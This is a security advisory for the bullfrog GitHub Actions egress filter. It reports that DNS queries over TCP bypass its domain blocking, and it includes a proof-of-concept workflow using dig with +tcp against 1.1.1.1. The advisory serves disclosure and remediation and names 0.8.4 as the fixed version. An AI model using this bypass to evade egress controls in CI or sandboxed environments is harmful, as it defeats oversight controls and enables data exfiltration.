GHSA-m32f-fjw2-37v3

Suggest an improvement
Source
https://github.com/advisories/GHSA-m32f-fjw2-37v3
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/05/GHSA-m32f-fjw2-37v3/GHSA-m32f-fjw2-37v3.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-m32f-fjw2-37v3
Aliases
Related
Published
2025-05-15T17:23:04Z
Modified
2025-05-15T18:12:27.519251Z
Severity
  • 6.2 (Medium) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator
Summary
Bullfrog's DNS over TCP bypasses domain filtering
Details

Summary

Using tcp breaks blocking and allows DNS exfiltration.

PoC

name: test
on:
  push:
    branches:
      - "*"

jobs:
  testBullFrog:
    runs-on: ubuntu-22.04
    steps:
      - name: Use google dns
        run: |
          sudo resolvectl dns eth0 1.1.1.1
          resolvectl status
      - name: Set up bullfrog to block everything
        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2
        with:
           egress-policy: block
           allowed-domains: |
             *.github.com
      - name: Test connectivity
        run: |
          echo testing udp allowed ..
          dig api.github.com @1.1.1.1 || :
          echo testing tcp allowed ..
          dig api.github.com @1.1.1.1 +tcp || :

          echo testing udp not allowed
          dig api.google.com @1.1.1.1 || :
          echo testing tcp not allowed
          dig api.google.com @1.1.1.1 +tcp || :

Impact

sandbox bypass

image

Database specific 
{
    "nvd_published_at": "2025-05-14T16:15:28Z",
    "cwe_ids": [
        "CWE-201"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-15T17:23:04Z"
}
References

Affected packages

GitHub Actions / bullfrogsec/bullfrog

Package

Name
bullfrogsec/bullfrog

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.8.4